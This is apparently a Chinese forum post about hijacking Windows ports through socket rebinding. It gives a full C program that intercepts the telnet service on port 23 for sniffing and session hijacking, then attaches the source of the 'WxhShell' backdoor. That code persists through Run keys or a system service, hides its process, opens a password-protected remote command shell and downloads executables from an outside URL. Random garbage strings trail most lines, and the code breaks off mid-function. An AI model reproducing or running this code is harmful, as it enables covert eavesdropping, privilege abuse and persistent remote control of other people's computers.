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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jpYw#]Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <?> I\  
"%.|n|  
  saddr.sin_family = AF_INET; =RW* %8C  
<t?x 'r?@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lQp89*b?=U  
;S=62_ Un  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m{:"1]  
(!3Yc:~RE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {~j /XB  
aWHd}%  
  这意味着什么?意味着可以进行如下的攻击: 2p$n*|T&c  
$n=W2WJ6f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u|_LR5S!j  
kz7vbY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2cs?("8e%  
aJK-O"0/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S 0R8'Y  
[Vrc:%Jk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;-3h~k  
i63`B+L{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9_J!s  
%gV)arwK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q;~R:}?@  
bGGeg%7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4B:\  
&57qjA ,8<  
  #include sow bg<D  
  #include E<D+)A  
  #include X;s 3y{ku  
  #include    ~=`f]IL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T!m42EvIvE  
  int main() $\0cJCQ3  
  { jHkyF`<+  
  WORD wVersionRequested; fap|SMGt  
  DWORD ret; 9l]UE0yTL/  
  WSADATA wsaData; v?Z'[l  
  BOOL val; i>ESEmb-  
  SOCKADDR_IN saddr; >VRo|o<D  
  SOCKADDR_IN scaddr; g)=V#Bglv  
  int err; 4'+d"Ok  
  SOCKET s; T4V[R N  
  SOCKET sc; 96.IuwL*.s  
  int caddsize; SjZd0H0  
  HANDLE mt; 3gxf~$)?  
  DWORD tid;   U -Af7qO  
  wVersionRequested = MAKEWORD( 2, 2 ); #t"9TP  
  err = WSAStartup( wVersionRequested, &wsaData ); vqrBRlZ  
  if ( err != 0 ) { M*g2VyZ  
  printf("error!WSAStartup failed!\n"); $x;tSJ)m~  
  return -1; Nf=C?`L  
  } )x$!K[=  
  saddr.sin_family = AF_INET; y-E1]4?})  
   z7'n, [  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]sX7%3P  
&M0o&C-1/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pd=7^"[};  
  saddr.sin_port = htons(23); N; rXl8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b*lKT]D,  
  { C$KaT3I  
  printf("error!socket failed!\n"); N+*(Y5TU  
  return -1; G[|3^O>P  
  } !d:tIu{)  
  val = TRUE; U3mXm?f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0^J*+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )vO_sIbnW  
  { +V2C}NQ5R  
  printf("error!setsockopt failed!\n"); tH-gaDj_  
  return -1; @Djs[Cs<*  
  } vg+r?4Q3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X tJswxw`K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^OHZ767v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'jh2**i 34  
dj?G.-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V8-4>H}Cb/  
  { Rb{+Ki  
  ret=GetLastError(); cNdu.c[@  
  printf("error!bind failed!\n"); }=Hf?';m  
  return -1; 48lzOG  
  } @; W<dJ<X  
  listen(s,2); c eqFQ  
  while(1) E2>im>p  
  { XZF%0g2$b  
  caddsize = sizeof(scaddr); ILNE 4n  
  //接受连接请求 }j& O/ Up  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -Bl/ 4p  
  if(sc!=INVALID_SOCKET) n(Qj||:  
  { S{o@QVbl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .?A'6  
  if(mt==NULL) ^/G?QR  
  { 8r5xs-  
  printf("Thread Creat Failed!\n"); DG_}9M!DW@  
  break; jjxIS  
  } RI?NB6U  
  } #N; $  
  CloseHandle(mt); cB{%u '  
  } %rFP#L  
  closesocket(s); }%_qx|(P|t  
  WSACleanup(); HTxB=Q|  
  return 0; O:2 #_  
  }   Tsu\oJ[  
  DWORD WINAPI ClientThread(LPVOID lpParam) b21}49bHN  
  { y@q1c*|  
  SOCKET ss = (SOCKET)lpParam; QxKAXq@)i  
  SOCKET sc; [.M  
  unsigned char buf[4096]; ty':`)  
  SOCKADDR_IN saddr; QyTh!QM~`  
  long num; h!QjpzQe  
  DWORD val; x]H3Y3  
  DWORD ret; 'T%IvJ#Xu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O2C6V>Q;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]OUD5T  
  saddr.sin_family = AF_INET; $H4=QVj6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6KVV z/  
  saddr.sin_port = htons(23); ki#y&{v9Be  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K/DH / r  
  { XnD0eua#  
  printf("error!socket failed!\n"); t/A:k  
  return -1; Pv#KmSA9  
  } 6s'[{Ov  
  val = 100; HP#ki!'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  /; +oz  
  { 5Lw{0uLr  
  ret = GetLastError(); 2ed@HJu  
  return -1; d"Bo8`_  
  } .Xi2G@D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DQcWq'yY^  
  { 0(\p<qq  
  ret = GetLastError(); .hxin [Y  
  return -1; q{/*n]K  
  } X+@s]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =<Hy"4+?.  
  { ZHz^S)o\[s  
  printf("error!socket connect failed!\n"); B .El a  
  closesocket(sc); FZeP<Ban  
  closesocket(ss); U8E0~[y'  
  return -1; %z=`JhE"Q  
  } jn~!V!+ +  
  while(1) %t q&  
  { Kf|0*c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (s&ORoVGn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g083J}08  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hUBF/4s\  
  num = recv(ss,buf,4096,0); _'&k#Q  
  if(num>0) 2,+d|1(4o  
  send(sc,buf,num,0);  70{RDj6{  
  else if(num==0) @#A!w;bz  
  break; f]c <9Q>*  
  num = recv(sc,buf,4096,0); UB a-  
  if(num>0) -E:(w<];  
  send(ss,buf,num,0); n7@j}Q(&?  
  else if(num==0) @$Yb#$/  
  break; rj}(muM,R  
  } D6Dn&/>Zp  
  closesocket(ss); Rw/Ciw2@?  
  closesocket(sc); !1("(Eb  
  return 0 ; _$!`VA%  
  } pVY4q0@  
D]jkR} t  
gbJG`zC>U  
========================================================== ]/a g*F  
,?I(/jI  
下边附上一个代码,,WXhSHELL uO"y`$C$_  
/Ad6+cY  
========================================================== v3~FR,Kl  
\PzN XQ$  
#include "stdafx.h" DDWp4`CS|  
[Q|M/|mnR1  
#include <stdio.h> 9Kx<\)-GMD  
#include <string.h> *G\=i A  
#include <windows.h> >C:If0S4X  
#include <winsock2.h> X`D+jiQ(f  
#include <winsvc.h> p x0Sy|  
#include <urlmon.h> Nvhy3  
=88t*dH(,"  
#pragma comment (lib, "Ws2_32.lib") 3Mur*tj#  
#pragma comment (lib, "urlmon.lib") 0juDuE?  
(V8?,G>  
#define MAX_USER   100 // 最大客户端连接数 %TDXF_.[  
#define BUF_SOCK   200 // sock buffer J,9%%S8/C  
#define KEY_BUFF   255 // 输入 buffer ]b> pI;  
(ZS/@He  
#define REBOOT     0   // 重启 wz h.$?~  
#define SHUTDOWN   1   // 关机 - {0g#G  
4Mi~1iZj  
#define DEF_PORT   5000 // 监听端口 ;sCU [4  
U[bgu#P;  
#define REG_LEN     16   // 注册表键长度 0_Lm#fE U  
#define SVC_LEN     80   // NT服务名长度 q1jN]H  
G8noQ_-  
// 从dll定义API 2Sjt=LOc="  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ">cqt>2 A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V\"1wV~E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .8:+MW/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M.S s: ttj  
wW^Zb  
// wxhshell配置信息 -IbbPuRq  
struct WSCFG { k},>^qE  
  int ws_port;         // 监听端口 lYP~3wp99  
  char ws_passstr[REG_LEN]; // 口令 s+'XQs^{aj  
  int ws_autoins;       // 安装标记, 1=yes 0=no !:dL~n  
  char ws_regname[REG_LEN]; // 注册表键名 b#A(*a_gN  
  char ws_svcname[REG_LEN]; // 服务名 $M39 #a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :,47rN,qa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @R UP$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UDM yyVd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4j{oaey  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y #69|G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <>n9'i1  
qrpb[)Ll  
}; f0u56I9  
K I`11lJW~  
// default Wxhshell configuration 5tMh/]IeS  
struct WSCFG wscfg={DEF_PORT, $HxS:3D%D  
    "xuhuanlingzhe", JdO)YlM-  
    1, e$ 32  
    "Wxhshell", Qww^P/vm  
    "Wxhshell", 3T?f5+@I  
            "WxhShell Service", 'u1=XX h  
    "Wrsky Windows CmdShell Service", ~GA8_B  
    "Please Input Your Password: ", &kiF/F 1  
  1, >K5~:mx#3  
  "http://www.wrsky.com/wxhshell.exe", w2C&%Xk  
  "Wxhshell.exe" Y+@g~TE  
    }; _; 7fraqX  
|_, /u_  
// 消息定义模块 0 7\02f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ><K!~pst}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Z/R!y?l"G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "9ue76  
char *msg_ws_ext="\n\rExit."; @+:4J_N  
char *msg_ws_end="\n\rQuit."; gvGi %gq  
char *msg_ws_boot="\n\rReboot..."; c_Tzyh7l4  
char *msg_ws_poff="\n\rShutdown..."; MUB37  
char *msg_ws_down="\n\rSave to "; M!#AfIyB  
E23w *']  
char *msg_ws_err="\n\rErr!"; NHAH#7]M&1  
char *msg_ws_ok="\n\rOK!"; bNXAU\M^  
iE=P'"I  
char ExeFile[MAX_PATH]; #52NsVaT@  
int nUser = 0; |by@ :@*y  
HANDLE handles[MAX_USER]; /p 5=i  
int OsIsNt; vf N#NY6  
&wb9_? ir-  
SERVICE_STATUS       serviceStatus; !)nD xM`p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I-bF{  
M/} aq  
// 函数声明 R:f7LRF/\  
int Install(void); -%H%m`wD  
int Uninstall(void); [IMQIX  
int DownloadFile(char *sURL, SOCKET wsh); :/i~y$t  
int Boot(int flag); r@yD8D \  
void HideProc(void); ami09JHy  
int GetOsVer(void); Dkw*Je#6PX  
int Wxhshell(SOCKET wsl); RG&6FRoq  
void TalkWithClient(void *cs); 1 }nm2h1 I  
int CmdShell(SOCKET sock); Oy%Im8.-A#  
int StartFromService(void); :!']p2B  
int StartWxhshell(LPSTR lpCmdLine); :~D]; m  
(A uPZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "S(yZ6r"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p-Pz=Cx-  
[;Fofu Z  
// 数据结构和表定义 ?@DNsVwb  
SERVICE_TABLE_ENTRY DispatchTable[] = nj  
{ oq. r\r  
{wscfg.ws_svcname, NTServiceMain}, ??(Kwtx{  
{NULL, NULL} qv uxhzF  
}; &[~[~m|  
`.8UKSH+  
// 自我安装 >XnO&hW  
int Install(void) Um\0i;7 ~4  
{ 8U=A{{0p  
  char svExeFile[MAX_PATH]; o:9$UV[  
  HKEY key; B2(,~^39  
  strcpy(svExeFile,ExeFile); b2s~%}T  
cix36MR_  
// 如果是win9x系统,修改注册表设为自启动 f?maa5S  
if(!OsIsNt) { ^j=bObaX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ${>DhfF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sr"/-  
  RegCloseKey(key); fI]bzv;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qtY m!g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n_9x"m$  
  RegCloseKey(key); F@EJtwLd5y  
  return 0; >A=\8`T^  
    } (bvoF5%  
  } <xqba4O  
} { 8p\Y  
else { SK-W%t  
@[v8}D  
// 如果是NT以上系统,安装为系统服务 @RVOXkVo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q6x%  
if (schSCManager!=0) [O 1|75  
{ {(Fe7,.S3  
  SC_HANDLE schService = CreateService t !~ S9c  
  ( + Kk@Q  
  schSCManager, u|OtKq  
  wscfg.ws_svcname, :1MM a6  
  wscfg.ws_svcdisp, hDvpOIUL1  
  SERVICE_ALL_ACCESS, Gkmsaf>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gl "_:atW  
  SERVICE_AUTO_START, w~LU\Ct  
  SERVICE_ERROR_NORMAL, bjzx!OCpV  
  svExeFile, |7c `(.  
  NULL, @c]Xh:I  
  NULL, */_@a?  
  NULL, j 3P$@<  
  NULL, eM }W6vIn  
  NULL 8[R1A  
  ); m8AAp1=  
  if (schService!=0) ve-8*Xa  
  { 3I*uV!notJ  
  CloseServiceHandle(schService); h'!V8'}O?  
  CloseServiceHandle(schSCManager); t 7^D-l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KTv4< c]  
  strcat(svExeFile,wscfg.ws_svcname); s#P:6]Ar  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sUc iFAb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'hIU_  
  RegCloseKey(key); +>#e=nH  
  return 0; M5O'=\+,F  
    } }"4roJ  
  } oIxH3T  
  CloseServiceHandle(schSCManager); x8/us  
} h[Mdr  
} =fWdk\Wv  
vi|Zit  
return 1; |_nC6 ;  
} ZAeQ~ j~  
(}"S) #C  
// 自我卸载 n1 v,#GE  
int Uninstall(void) ?0z)EPQ|  
{ f[}|rf  
  HKEY key; sOQcx\dK  
M=[th  
if(!OsIsNt) { QiU_hz6?v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r0Z+ RB^I  
  RegDeleteValue(key,wscfg.ws_regname); =YHt9fb$c  
  RegCloseKey(key); *B{-uc3o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v$3_o :  
  RegDeleteValue(key,wscfg.ws_regname); #_fY4vEO  
  RegCloseKey(key); ?gG,t4D  
  return 0; MD4\QNUa)*  
  } ^@"c`  
} [+gzdLad  
} l&|)O6N  
else { &k+*3.X  
ev"M;"y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r=$gT@  
if (schSCManager!=0) WIG=D{\Yx  
{ O<`,,^4w/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -l JYr/MSL  
  if (schService!=0) xFwXW )  
  { 27iy4(4  
  if(DeleteService(schService)!=0) { _+n;A46  
  CloseServiceHandle(schService); w[sR7T9*  
  CloseServiceHandle(schSCManager); [Xh\m DU.  
  return 0; [>p6   
  } b0YNac.l  
  CloseServiceHandle(schService); \u8,!) 4i  
  } [-58Ezyr  
  CloseServiceHandle(schSCManager); $?$9y ^\  
} pL)xqKj  
} @H+~2;B,  
9[sG1eP!  
return 1; 5p )IV>G  
} +V1}@6k :  
MWhwMj!:m  
// 从指定url下载文件 1|/'"9v  
int DownloadFile(char *sURL, SOCKET wsh) !qw4mN  
{ ,R}Z=w#  
  HRESULT hr; $}4K`Iu  
char seps[]= "/"; 2&x7W*  
char *token; oZ-FF'  
char *file; GA ik;R  
char myURL[MAX_PATH]; 8f-:d]  
char myFILE[MAX_PATH]; ;dOs0/UM&  
3 Ta>Ki  
strcpy(myURL,sURL); HEpM4xe$  
  token=strtok(myURL,seps); 8Z!*[c>K-?  
  while(token!=NULL) +f|6AeE  
  { IfB/O.;Kz  
    file=token; *]2R.u  
  token=strtok(NULL,seps); %A2`&:ip  
  } x< S\D&  
DB~MYOX~  
GetCurrentDirectory(MAX_PATH,myFILE); y;:]F|%<  
strcat(myFILE, "\\"); N]u2ql&  
strcat(myFILE, file); -ek1$y9)  
  send(wsh,myFILE,strlen(myFILE),0); R'Eq:Rv~;^  
send(wsh,"...",3,0); piuKV U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); doH2R @  
  if(hr==S_OK) }! =U^A)  
return 0; H!. ZH(asY  
else 3KT_AJ4}  
return 1; >fbo r'|  
Qg>0G%cXU  
} 4Cd#sQ  
_NT[ ~M_Q  
// 系统电源模块 ~lk@6{`l|1  
int Boot(int flag) 48k 7/w\  
{ Uz $ @(C  
  HANDLE hToken; RJ*F>2  
  TOKEN_PRIVILEGES tkp; f@x_#ov  
\n;g2/VjO  
  if(OsIsNt) { 8 ?" Ze(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _k|g@"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0 {,h.:  
    tkp.PrivilegeCount = 1; V&R$8tpz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1vsu[n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6}STp_x  
if(flag==REBOOT) { C d|W#.6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %wtXo BJ  
  return 0; zHqhl}  
} rg*^w!   
else { m r2S!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yp?w3|`4;  
  return 0; hv{87`L'K(  
} pX^=be_  
  } [,GU5,o  
  else { 5}7ISNP;f  
if(flag==REBOOT) { p;e$kg1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ph Ttx(!  
  return 0; 6J"(xT  
} qPUA!-'  
else { AI~9m-,mE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jiq2x\\!  
  return 0; 7$#rNYa,z  
} ke^d8Z.  
} *:[b'D!A  
}U i_ynZ!  
return 1; /:KQAM0  
} o"\{OX  
`1q|F9D  
// win9x进程隐藏模块 L:i+}F;M)s  
void HideProc(void) gZ*hkKN6  
{ N;g$)zCV1  
!h*B (,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *73AAA5LKa  
  if ( hKernel != NULL ) Y!it!9  
  { Pr2;Kp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I5Q~T5Ar  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5v+L';wx[T  
    FreeLibrary(hKernel); j6}$+!E  
  } ~M; gM]r;  
s{B_N/^  
return; Wxc^_iqA1  
} h&P {p _Y  
d "B5==0I  
// 获取操作系统版本 La]4/=a  
int GetOsVer(void) z 7@ 'CJ  
{ q}e]*]dJZ  
  OSVERSIONINFO winfo; A-;^~I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^F&A6{9f/h  
  GetVersionEx(&winfo); 3@'lIV ?,q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^1Yo-T(R  
  return 1; uD[^K1Ag]^  
  else FTbtAlqh<  
  return 0; 4]]b1^vVj  
} jP7w6sk E  
wM0E%6 P  
// 客户端句柄模块 &#Wkww&Y  
int Wxhshell(SOCKET wsl) Bqp&2zg)@  
{ w0X$rl1  
  SOCKET wsh; > R#9\/s  
  struct sockaddr_in client; Stt* 1gT  
  DWORD myID; 7G2vYKC'  
38"cbHE3  
  while(nUser<MAX_USER) n{3| E3  
{ L*v93;|s  
  int nSize=sizeof(client); 9[Y*k^.!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O[L\T  
  if(wsh==INVALID_SOCKET) return 1; #]igB9Cf)w  
&jFKc0\i@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {)@ j77P  
if(handles[nUser]==0) T*8_FR<  
  closesocket(wsh);  J(^ >?d'  
else 69rwX"^  
  nUser++; }pt-q[s>  
  } J7_8$B-j7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c9|I4=_K  
zQn//7#-G  
  return 0; \k4M{h6  
} tfsh!)u?  
&`m~o/  
// 关闭 socket %Dl_}  
void CloseIt(SOCKET wsh) Ty.drM  
{ }\U0[x#q  
closesocket(wsh); 5qeT4| Ol  
nUser--; ;*_I,|A:Xr  
ExitThread(0); Up'."w_zE  
} XQ4dohGCP  
c_t7RWV}  
// 客户端请求句柄 Y5Ft96o))x  
void TalkWithClient(void *cs) roL}lM$  
{ V!\n3i?i  
w9'H.L q  
  SOCKET wsh=(SOCKET)cs; {Qm6?H  
  char pwd[SVC_LEN]; ?F9hDLX  
  char cmd[KEY_BUFF]; rpx 0|{m  
char chr[1]; =[APMig,n  
int i,j; 'aNahzb  
]S*E  
  while (nUser < MAX_USER) { "i}Z(_7yr  
t ]71  
if(wscfg.ws_passstr) { [9w, WJL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e K\|SQb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); py}.00it  
  //ZeroMemory(pwd,KEY_BUFF); 0@:Y>qVa  
      i=0; 2Qw )-EB  
  while(i<SVC_LEN) { #wGQv  
AUu5g  
  // 设置超时 >c&4_?d&,A  
  fd_set FdRead; H7y&N5.V  
  struct timeval TimeOut; /E; ;j9  
  FD_ZERO(&FdRead); :jl u  
  FD_SET(wsh,&FdRead); "^18&>^  
  TimeOut.tv_sec=8; 5f/@: ~  
  TimeOut.tv_usec=0; x_]",2 W'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (R,NV3m?w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A>H*`{}  
$>nkGb%Kp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S.qk%NTTD  
  pwd=chr[0]; wVlSjk  
  if(chr[0]==0xd || chr[0]==0xa) { fMgcK$  
  pwd=0; 4V!1/w  
  break; zsHG= Ee*  
  } S83]O!w0  
  i++; *;>V2!N=U  
    } nomu$|I  
InAU\! ew  
  // 如果是非法用户,关闭 socket yp( ?1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b/T20F{W\o  
} i0i.sizu  
5?<|3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cC7"J\+r*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #rqyy0k0'h  
S(@*3]!q  
while(1) { _G_ &Me0  
kyp U&F  
  ZeroMemory(cmd,KEY_BUFF); tn(f rccy  
i!s~kk  
      // 自动支持客户端 telnet标准   Lw!?T(SK  
  j=0; K<Yn_G  
  while(j<KEY_BUFF) { ';i"?D?NAk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \=HfO?$ Ro  
  cmd[j]=chr[0]; @1/Q  
  if(chr[0]==0xa || chr[0]==0xd) { $71i+h]_  
  cmd[j]=0; zpBBnlq  
  break; !"Z."fm*  
  } MoC*tImWR  
  j++; > u'/$ k  
    } qz-#LZFTR  
&':UlzG  
  // 下载文件 /zChdjz  
  if(strstr(cmd,"http://")) { t;Fbt("]:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); COxZ Q  
  if(DownloadFile(cmd,wsh)) @n5;|`)\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[XN.sb8E  
  else xCDA1y;j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zav*  
  } TmRrub  
  else { 'LtgA|c=  
Ek gZxT_&  
    switch(cmd[0]) { Pu/-Qpqh  
  (cPeee%Q  
  // 帮助 5n&)q=jk=  
  case '?': { b/a?\0^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;EE{ ~  
    break; |SSf G~r  
  } jQH5$  
  // 安装 =B3!jir  
  case 'i': { FFD*e-i  
    if(Install()) GU;TK'Yy?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9m!UlTtw  
    else ~@)- qV^~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vz=j )[  
    break; \N'hbT=  
    } R{2GQB  
  // 卸载 "-~D! {rS  
  case 'r': { 5~<a>>  
    if(Uninstall()) IPr*pQ{;c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ze_{{o  
    else rFt,36#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u"Hd55"&  
    break; Sop Ntcu!  
    } Vsm%h^]d  
  // 显示 wxhshell 所在路径 "63zc 1  
  case 'p': { )cv0$  
    char svExeFile[MAX_PATH]; `-9*@_ -=M  
    strcpy(svExeFile,"\n\r"); j? Jd@(*y$  
      strcat(svExeFile,ExeFile); (e bBH  
        send(wsh,svExeFile,strlen(svExeFile),0); FrAqTz  
    break; +Y.uZJ6+  
    } J*^,l`C/  
  // 重启 4N%2w(,+8  
  case 'b': { Z!s>AgH9u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); goBKr: &]w  
    if(Boot(REBOOT)) @+T{M:&l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2F*Dkv  
    else { g-{<v4NGI  
    closesocket(wsh); 4cVs(`g^  
    ExitThread(0); R~x;X3  
    } x]mye  
    break; /4wm}g9  
    } vo}_%5v8  
  // 关机 +QCU]Fozk  
  case 'd': { =ihoVA:|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8h@)9Q]d\  
